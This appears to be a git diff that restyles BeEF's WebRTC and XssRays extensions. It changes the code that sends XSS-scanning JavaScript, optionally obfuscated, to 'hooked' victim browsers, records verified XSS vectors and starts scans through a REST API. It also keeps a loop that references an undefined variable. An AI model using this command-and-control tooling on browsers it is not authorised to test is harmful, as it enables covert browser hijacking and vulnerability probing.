rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while executing command (#{e.message})" + halt 500 + end # Raised when invalid JSON input is passed to an /api/webrtc handler. class InvalidJsonError < StandardError - - DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler' + DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'.to_json def initialize(message = nil) super(message || DEFAULT_MESSAGE) end - end # Raised when an invalid named parameter is passed to an /api/webrtc handler. class InvalidParamError < StandardError - - DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler' + DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'.to_json def initialize(message = nil) - str = "Invalid \"%s\" parameter passed to /api/webrtc handler" - message = sprintf str, message unless message.nil? + str = 'Invalid "%s" parameter passed to /api/webrtc handler' + message = format str, message unless message.nil? super(message) end - end - end - end end end diff --git a/extensions/xssrays/api.rb b/extensions/xssrays/api.rb index 16bf8b9f0..660f8d323 100644 --- a/extensions/xssrays/api.rb +++ b/extensions/xssrays/api.rb @@ -4,36 +4,36 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Xssrays - module RegisterHttpHandler - BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') + module Extension + module Xssrays + module RegisterHttpHandler + BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') - # - # Mounts the handlers and REST interface for processing XSS rays - # - # @param beef_server [BeEF::Core::Server] HTTP server instance - # - def self.mount_handler(beef_server) - # We register the http handler for the requester. - # This http handler will retrieve the http responses for all requests - beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new) - # REST API endpoint - beef_server.mount('/api/xssrays', BeEF::Extension::Xssrays::XssraysRest.new) - end - end + # + # Mounts the handlers and REST interface for processing XSS rays + # + # @param beef_server [BeEF::Core::Server] HTTP server instance + # + def self.mount_handler(beef_server) + # We register the http handler for the requester. + # This http handler will retrieve the http responses for all requests + beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new) + # REST API endpoint + beef_server.mount('/api/xssrays', BeEF::Extension::Xssrays::XssraysRest.new) + end + end - module RegisterPreHookCallback - BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send') + module RegisterPreHookCallback + BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send') + + # checks at every polling if there are new scans to be started + def self.pre_hook_send(hooked_browser, body, _params, _request, _response) + return if hooked_browser.nil? - # checks at every polling if there are new scans to be started - def self.pre_hook_send(hooked_browser, body, params, request, response) - if hooked_browser != nil xssrays = BeEF::Extension::Xssrays::API::Scan.new xssrays.start_scan(hooked_browser, body) end + end end end end -end -end diff --git a/extensions/xssrays/api/scan.rb b/extensions/xssrays/api/scan.rb index 14f8d7c04..7377120d8 100644 --- a/extensions/xssrays/api/scan.rb +++ b/extensions/xssrays/api/scan.rb @@ -7,9 +7,7 @@ module BeEF module Extension module Xssrays module API - class Scan - include BeEF::Core::Handlers::Modules::BeEFJS # @@ -19,15 +17,15 @@ module BeEF @body = body config = BeEF::Core::Configuration.instance hb = BeEF::Core::Models::HookedBrowser.find(hb.id) - #TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested - #TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want - xs = BeEF::Core::Models::Xssraysscan.where(:hooked_browser_id => hb.id, :is_started => false).first + # TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested + # TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want + xs = BeEF::Core::Models::Xssraysscan.where(hooked_browser_id: hb.id, is_started: false).first # stop here if there are no XssRays scans to be started - return if xs == nil || xs.is_started == true + return if xs.nil? || xs.is_started == true # set the scan as started - xs.update(:is_started => true) + xs.update(is_started: true) # build the beefjs xssrays component @@ -38,21 +36,20 @@ module BeEF ws = BeEF::Core::Websocket::Websocket.instance - - # todo antisnatchor: prevent sending "content" multiple times. + # TODO: antisnatchor: prevent sending "content" multiple times. # Better leaving it after the first run, and don't send it again. # todo antisnatchor: remove this gsub crap adding some hook packing. # If we use WebSockets, just reply wih the component contents - if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session) - content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('// + if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session) + content = File.read(find_beefjs_component_path('beef.net.xssrays')).gsub('// // Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file \'doc/COPYING\' for copying permission - //', "") + //', '') add_to_body xs.id, hb.session, beefurl, cross_domain, timeout - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance ws.send(evasion.obfuscate(content) + @body, hb.session) else @@ -65,19 +62,18 @@ module BeEF end print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}].") - end def add_to_body(id, session, beefurl, cross_domain, timeout) config = BeEF::Core::Configuration.instance - req = %Q{ + req = %{ beef.execute(function() { beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout}); }); } - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @body << evasion.obfuscate(req) else diff --git a/extensions/xssrays/extension.rb b/extensions/xssrays/extension.rb index c4f5b8435..2b5edb9e9 100644 --- a/extensions/xssrays/extension.rb +++ b/extensions/xssrays/extension.rb @@ -4,11 +4,10 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Xssrays - -end -end + module Extension + module Xssrays + end + end end require 'extensions/xssrays/models/xssraysscan' @@ -17,4 +16,3 @@ require 'extensions/xssrays/api/scan' require 'extensions/xssrays/handler' require 'extensions/xssrays/api' require 'extensions/xssrays/rest/xssrays' - diff --git a/extensions/xssrays/handler.rb b/extensions/xssrays/handler.rb index e1e561612..574f94fb2 100644 --- a/extensions/xssrays/handler.rb +++ b/extensions/xssrays/handler.rb @@ -6,9 +6,7 @@ module BeEF module Extension module Xssrays - class Handler < BeEF::Core::Router::Router - XS = BeEF::Core::Models::Xssraysscan XD = BeEF::Core::Models::Xssraysdetail HB = BeEF::Core::Models::HookedBrowser @@ -18,15 +16,15 @@ module BeEF # raise an error if it's null or not found in the DB beef_hook = params[:hbsess] || nil - if beef_hook.nil? || HB.where(:session => beef_hook).first.nil? - print_error "[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database" + if beef_hook.nil? || HB.where(session: beef_hook).first.nil? + print_error '[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database' return end # verify the specified ray ID is valid rays_scan_id = params[:raysid] || nil - if rays_scan_id.nil? || !BeEF::Filters::nums_only?(rays_scan_id) - print_error "[XSSRAYS] Invalid ray ID" + if rays_scan_id.nil? || !BeEF::Filters.nums_only?(rays_scan_id) + print_error '[XSSRAYS] Invalid ray ID' return end @@ -39,34 +37,33 @@ module BeEF finalize_scan(rays_scan_id) else # invalid action - print_error "[XSSRAYS] Invalid action" + print_error '[XSSRAYS] Invalid action' return end - headers 'Pragma' => 'no-cache', - 'Cache-Control' => 'no-cache', - 'Expires' => '0', - 'Access-Control-Allow-Origin' => '*', - 'Access-Control-Allow-Methods' => 'POST,GET' - + headers 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0', + 'Access-Control-Allow-Origin' => '*', + 'Access-Control-Allow-Methods' => 'POST,GET' end # parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed. def parse_rays(rays_scan_id) xssrays_scan = XS.find(rays_scan_id) - hooked_browser = HB.where(:session => params[:hbsess]).first + hooked_browser = HB.where(session: params[:hbsess]).first if xssrays_scan.nil? - print_error "[XSSRAYS] Invalid scan" + print_error '[XSSRAYS] Invalid scan' return end xssrays_detail = XD.new( - :hooked_browser_id => hooked_browser.session, - :vector_name => params[:n], - :vector_method => params[:m], - :vector_poc => params[:p], - :xssraysscan_id => xssrays_scan.id + hooked_browser_id: hooked_browser.session, + vector_name: params[:n], + vector_method: params[:m], + vector_poc: params[:p], + xssraysscan_id: xssrays_scan.id ) xssrays_detail.save @@ -79,11 +76,11 @@ module BeEF xssrays_scan = BeEF::Core::Models::Xssraysscan.find(rays_scan_id) if xssrays_scan.nil? - print_error "[XSSRAYS] Invalid scan" + print_error '[XSSRAYS] Invalid scan' return end - xssrays_scan.update(:is_finished => true, :scan_finish => Time.now) + xssrays_scan.update(is_finished: true, scan_finish: Time.now) print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] finished at [#{xssrays_scan.scan_finish}]") end end diff --git a/extensions/xssrays/models/xssraysdetail.rb b/extensions/xssrays/models/xssraysdetail.rb index afe8ae15c..de4766bfb 100644 --- a/extensions/xssrays/models/xssraysdetail.rb +++ b/extensions/xssrays/models/xssraysdetail.rb @@ -4,16 +4,15 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - # - # Store the rays details, basically verified XSS vulnerabilities - # - class Xssraysdetail < BeEF::Core::Model - belongs_to :hooked_browser - belongs_to :xssraysscan + module Core + module Models + # + # Store the rays details, basically verified XSS vulnerabilities + # + class Xssraysdetail < BeEF::Core::Model + belongs_to :hooked_browser + belongs_to :xssraysscan + end + end end - -end -end end diff --git a/extensions/xssrays/models/xssraysscan.rb b/extensions/xssrays/models/xssraysscan.rb index e28a04f18..2d3601569 100644 --- a/extensions/xssrays/models/xssraysscan.rb +++ b/extensions/xssrays/models/xssraysscan.rb @@ -4,17 +4,14 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - # - # Store the XssRays scans started and finished, with relative ID - # - class Xssraysscan < BeEF::Core::Model - - has_many :xssrays_details - + module Core + module Models + # + # Store the XssRays scans started and finished, with relative ID + # + class Xssraysscan < BeEF::Core::Model + has_many :xssrays_details + end + end end - -end -end end diff --git a/extensions/xssrays/rest/xssrays.rb b/extensions/xssrays/rest/xssrays.rb index c8a804697..be447dcb4 100644 --- a/extensions/xssrays/rest/xssrays.rb +++ b/extensions/xssrays/rest/xssrays.rb @@ -6,10 +6,8 @@ module BeEF module Extension module Xssrays - # This class handles the routing of RESTful API requests for XSSRays class XssraysRest < BeEF::Core::Router::Router - # Filters out bad requests before performing any routing before do config = BeEF::Core::Configuration.instance @@ -18,9 +16,9 @@ module BeEF halt 401 unless params[:token] == config.get('beef.api_token') halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip) - CLEAN_TIMEOUT = config.get("beef.extension.xssrays.clean_timeout") || 3_000 - CROSS_DOMAIN = config.get("beef.extension.xssrays.cross_domain") || true - + CLEAN_TIMEOUT = config.get('beef.extension.xssrays.clean_timeout') || 3_000 + CROSS_DOMAIN = config.get('beef.extension.xssrays.cross_domain') || true + HB = BeEF::Core::Models::HookedBrowser XS = BeEF::Core::Models::Xssraysscan XD = BeEF::Core::Models::Xssraysdetail @@ -33,142 +31,133 @@ module BeEF # Returns the entire list of rays for all zombies get '/rays' do - begin - rays = XD.all.distinct.order(:id) - count = rays.length + rays = XD.all.distinct.order(:id) + count = rays.length - result = {} - result[:count] = count - result[:rays] = [] - rays.each do |ray| - result[:rays] << ray2hash(ray) - end - result.to_json - rescue StandardError => e - print_error "Internal error while retrieving rays (#{e.message})" - halt 500 + result = {} + result[:count] = count + result[:rays] = [] + rays.each do |ray| + result[:rays] << ray2hash(ray) end + result.to_json + rescue StandardError => e + print_error "Internal error while retrieving rays (#{e.message})" + halt 500 end # Returns all rays given a specific hooked browser id get '/rays/:id' do - begin - id = params[:id] + id = params[:id] - rays = XD.where(:hooked_browser_id => id).distinct.order(:id) - count = rays.length + rays = XD.where(hooked_browser_id: id).distinct.order(:id) + count = rays.length - result = {} - result[:count] = count - result[:rays] = [] - rays.each do |ray| - result[:rays] << ray2hash(ray) - end - result.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while retrieving rays list for hooked browser with id #{id} (#{e.message})" - halt 500 + result = {} + result[:count] = count + result[:rays] = [] + rays.each do |ray| + result[:rays] << ray2hash(ray) end + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving rays list for hooked browser with id #{id} (#{e.message})" + halt 500 end # Returns the entire list of scans for all zombies get '/scans' do - begin - scans = XS.distinct.order(:id) - count = scans.length + scans = XS.distinct.order(:id) + count = scans.length - result = {} - result[:count] = count - result[:scans] = [] - scans.each do |scan| - result[:scans] << scan2hash(scan) - end - result.to_json - rescue StandardError => e - print_error "Internal error while retrieving scans (#{e.message})" - halt 500 + result = {} + result[:count] = count + result[:scans] = [] + scans.each do |scan| + result[:scans] << scan2hash(scan) end + result.to_json + rescue StandardError => e + print_error "Internal error while retrieving scans (#{e.message})" + halt 500 end # Returns all scans given a specific hooked browser id get '/scans/:id' do - begin - id = params[:id] + id = params[:id] - scans = XS.where(:hooked_browser_id => id).distinct.order(:id) - count = scans.length + scans = XS.where(hooked_browser_id: id).distinct.order(:id) + count = scans.length - result = {} - result[:count] = count - result[:scans] = [] - scans.each do |scans| - result[:scans] << scan2hash(scan) - end - result.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while retrieving scans list for hooked browser with id #{id} (#{e.message})" - halt 500 + result = {} + result[:count] = count + result[:scans] = [] + scans.each do |_scans| + result[:scans] << scan2hash(scan) end + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving scans list for hooked browser with id #{id} (#{e.message})" + halt 500 end # Starts a new scan on the specified zombie ID post '/scan/:id' do - begin - id = params[:id] + id = params[:id] - hooked_browser = HB.where(:session => id).distinct.order(:id).first + hooked_browser = HB.where(session: id).distinct.order(:id).first - if hooked_browser.nil? - print_error "[XSSRAYS] Invalid hooked browser ID" - return - end - - # set Cross-domain settings - cross_domain = params[:cross_domain].to_s - if cross_domain == '' - cross_domain = CROSS_DOMAIN - elsif cross_domain == 'false' - cross_domain = false - else - cross_domain = true - end - - # set clean timeout settings - clean_timeout = params[:clean_timeout].to_s - if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout) - clean_timeout = CLEAN_TIMEOUT - end - - xssrays_scan = XS.new( - :hooked_browser_id => hooked_browser.id, - :scan_start => Time.now, - :domain => hooked_browser.domain, - # check also cross-domain URIs found by the crawler - :cross_domain => cross_domain, - # how long to wait before removing the iFrames from the DOM (5000ms default) - :clean_timeout => clean_timeout - ) - xssrays_scan.save - - print_info("[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], hooked domain [#{hooked_browser.domain}], cross-domain: #{cross_domain}, clean timeout: #{clean_timeout}") - - result = scan2hash(xssrays_scan) - print_debug "[XSSRays] New scan: #{result}" - - #result.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while creating XSSRays scan on zombie with id #{id} (#{e.message})" - halt 500 + if hooked_browser.nil? + print_error '[XSSRAYS] Invalid hooked browser ID' + return end + + # set Cross-domain settings + cross_domain = params[:cross_domain].to_s + cross_domain = if cross_domain == '' + CROSS_DOMAIN + else + cross_domain != 'false' + end + + # set clean timeout settings + clean_timeout = params[:clean_timeout].to_s + clean_timeout = CLEAN_TIMEOUT if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout) + + xssrays_scan = XS.new( + hooked_browser_id: hooked_browser.id, + scan_start: Time.now, + domain: hooked_browser.domain, + # check also cross-domain URIs found by the crawler + cross_domain: cross_domain, + # how long to wait before removing the iFrames from the DOM (5000ms default) + clean_timeout: clean_timeout + ) + xssrays_scan.save + + print_info( + "[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], " \ + "hooked domain [#{hooked_browser.domain}], " \ + "cross-domain: #{cross_domain}, " \ + "clean timeout: #{clean_timeout}" + ) + + result = scan2hash(xssrays_scan) + print_debug "[XSSRays] New scan: #{result}" + + # result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while creating XSSRays scan on zombie with id #{id} (#{e.message})" + halt 500 end private @@ -176,32 +165,32 @@ module BeEF # Convert a ray object to JSON def ray2hash(ray) { - :id => ray.id, - :hooked_browser_id => ray.hooked_browser_id, - :vector_name => ray.vector_name, - :vector_method => ray.vector_method, - :vector_poc => ray.vector_poc + id: ray.id, + hooked_browser_id: ray.hooked_browser_id, + vector_name: ray.vector_name, + vector_method: ray.vector_method, + vector_poc: ray.vector_poc } end # Convert a scan object to JSON def scan2hash(scan) { - :id => scan.id, - :hooked_browser_id => scan.hooked_browser_id, - :scan_start=> scan.scan_start, - :scan_finish=> scan.scan_finish, - :domain => scan.domain, - :cross_domain => scan.cross_domain, - :clean_timeout => scan.clean_timeout, - :is_started => scan.is_started, - :is_finished => scan.is_finished + id: scan.id, + hooked_browser_id: scan.hooked_browser_id, + scan_start: scan.scan_start, + scan_finish: scan.scan_finish, + domain: scan.domain, + cross_domain: scan.cross_domain, + clean_timeout: scan.clean_timeout, + is_started: scan.is_started, + is_finished: scan.is_finished } end # Raised when invalid JSON input is passed to an /api/xssrays handler. class InvalidJsonError < StandardError - DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler' + DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler'.freeze def initialize(message = nil) super(message || DEFAULT_MESSAGE) @@ -210,11 +199,11 @@ module BeEF # Raised when an invalid named parameter is passed to an /api/xssrays handler. class InvalidParamError < StandardError - DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler' + DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler'.freeze def initialize(message = nil) - str = "Invalid \"%s\" parameter passed to /api/xssrays handler" - message = sprintf str, message unless message.nil? + str = 'Invalid "%s" parameter passed to /api/xssrays handler' + message = format str, message unless message.nil? super(message) end end